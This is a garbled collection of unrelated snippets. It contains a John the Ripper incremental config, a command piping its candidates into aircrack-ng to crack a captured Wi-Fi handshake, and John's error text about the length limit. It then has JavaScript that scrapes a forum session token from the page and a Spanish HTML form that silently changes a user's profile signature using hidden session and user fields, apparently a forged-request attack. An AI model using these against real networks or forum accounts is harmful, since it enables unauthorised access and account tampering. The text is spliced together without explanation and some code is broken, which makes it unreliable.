[Incremental:Digits]
File = $JOHN/digits.chr
MinLen = 1
MaxLen = 10
CharCount = 10

john --incremental=digits --stdout | aircrack-ng' -w - essid.cap -e essid

MaxLen = 10 exceeds the compile-time limit of 8

There are several good reasons why you probably don't need to raise it:
- many hash types don't support passwords (or password halves) longer than
7 or 8 characters;
- you probably don't have sufficient statistical information to generate a
charset file for lengths beyond 8;
- the limitation applies to incremental mode only.

function getSC(s,f){

      return s||(f||document.documentElement.innerHTML).match(/sesc=([a-z0-9]+)/)[1];

   }

sc:escape(getSC(s)),

<textarea class="editor" onkeyup="calcCharLeft();" name="signature" rows="5" cols="50">Aquí la nueva firma</textarea>
<input type="submit" value="Cambiar perfil" />
<input type="hidden" name="sc" value="numero de sesión???" />
<input type="hidden" name="userID" value="32xxxx" />
<input type="hidden" name="sa" value="forumProfile" />